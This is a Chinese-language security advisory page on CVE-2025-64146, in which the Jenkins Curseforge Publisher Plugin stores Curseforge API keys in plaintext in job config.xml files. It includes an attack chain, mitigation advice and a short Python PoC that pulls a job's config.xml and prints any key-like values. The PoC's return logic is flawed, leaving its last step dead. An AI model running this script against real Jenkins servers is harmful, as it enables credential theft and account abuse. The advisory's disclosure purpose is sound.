IPBUF安全漏洞报告
English
CVE-2025-64146 CVSS 4.3 中危

CVE-2025-64146: Jenkins Curseforge Publisher Plugin明文存储API密钥漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64146
漏洞类型
敏感信息存储不当
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins Curseforge Publisher Plugin 1.0

相关标签

CVE-2025-64146Jenkins敏感信息泄露API密钥凭证管理Curseforge配置安全权限控制

漏洞概述

CVE-2025-64146是Jenkins Curseforge Publisher Plugin 1.0版本中的一个安全漏洞,该漏洞源于API密钥以明文形式存储在Jenkins的job config.xml配置文件中。由于存储方式不安全,具有Item/Extended Read权限的用户或能够访问Jenkins控制器文件系统的用户可以直接查看这些敏感的API密钥。攻击者可以利用获取到的API密钥以合法用户身份访问Curseforge平台,可能导致未经授权的数据访问、账户滥用或进一步的攻击活动。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响系统的机密性。鉴于Jenkins在持续集成/持续部署(CI/CD)流程中的核心地位,此类凭证泄露可能对整个软件供应链安全造成严重影响。

技术细节

Jenkins Curseforge Publisher Plugin在设计实现中存在安全缺陷,插件将用户配置的Curseforge API密钥以未加密的明文形式直接写入Jenkins job的config.xml配置文件中。config.xml文件通常存储在Jenkins主目录的jobs/[job_name]/config.xml路径下。当具有Item/Extended Read权限的用户访问相关Jenkins job配置页面时,系统会解析并展示config.xml中的内容,从而导致API密钥被泄露。此外,任何能够直接访问Jenkins控制器文件系统的用户都可以直接读取config.xml文件获取明文存储的凭证。攻击者获取API密钥后,可以利用该密钥以受害用户身份调用Curseforge API,执行发布mod、查看项目信息等操作。漏洞的根本原因在于插件开发者未遵循安全编码最佳实践,未使用Jenkins提供的Credentials API或加密机制来安全存储敏感凭证信息。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别使用Jenkins Curseforge Publisher Plugin的目标Jenkins实例,并枚举可访问的job列表
STEP 2
步骤2: 配置读取
具有Item/Extended Read权限的攻击者通过Jenkins API或Web界面访问目标job的config.xml配置文件
STEP 3
步骤3: 密钥提取
攻击者从config.xml中提取以明文存储的Curseforge API密钥
STEP 4
步骤4: 凭证滥用
攻击者使用获取的API密钥以合法用户身份调用Curseforge API,执行未授权操作如发布mod、修改项目设置等
STEP 5
步骤5: 横向移动/持久化
若API密钥具有较高权限,攻击者可进一步扩展攻击范围或建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64146 PoC - Jenkins Curseforge Publisher Plugin API Key Disclosure # This PoC demonstrates how to retrieve unencrypted API keys from Jenkins config.xml import requests from xml.etree import ElementTree as ET def get_jenkins_config(jenkins_url, job_name, auth=None): """ Retrieve Jenkins job configuration XML """ config_url = f"{jenkins_url}/job/{job_name}/config.xml" response = requests.get(config_url, auth=auth) return response.text if response.status_code == 200 else None def extract_curseforge_api_key(config_xml): """ Extract unencrypted API key from plugin configuration """ try: root = ET.fromstring(config_xml) # Search for curseforge-related configuration elements for elem in root.iter(): if 'curseforge' in elem.tag.lower() or 'api' in elem.tag.lower(): if elem.text and len(elem.text.strip()) > 0: print(f"Found potential API key in {elem.tag}: {elem.text}") return None except ET.ParseError: print("Error parsing config.xml") return None def main(): jenkins_url = "http://target-jenkins-server:8080" job_name = "your-cursed-job-name" # Optional: Basic auth credentials auth = ('username', 'password') config_xml = get_jenkins_config(jenkins_url, job_name, auth) if config_xml: api_key = extract_curseforge_api_key(config_xml) if api_key: print(f"Exploited API Key: {api_key}") if __name__ == "__main__": main()

影响范围

Jenkins Curseforge Publisher Plugin <= 1.0

防御指南

临时缓解措施
在官方修复版本发布前,立即审查并限制具有Item/Extended Read权限的用户列表,审计现有job配置中是否存在泄露的API密钥,并考虑暂时移除或禁用Curseforge Publisher Plugin以减少攻击面。同时应监控Jenkins日志以检测任何异常的config.xml访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表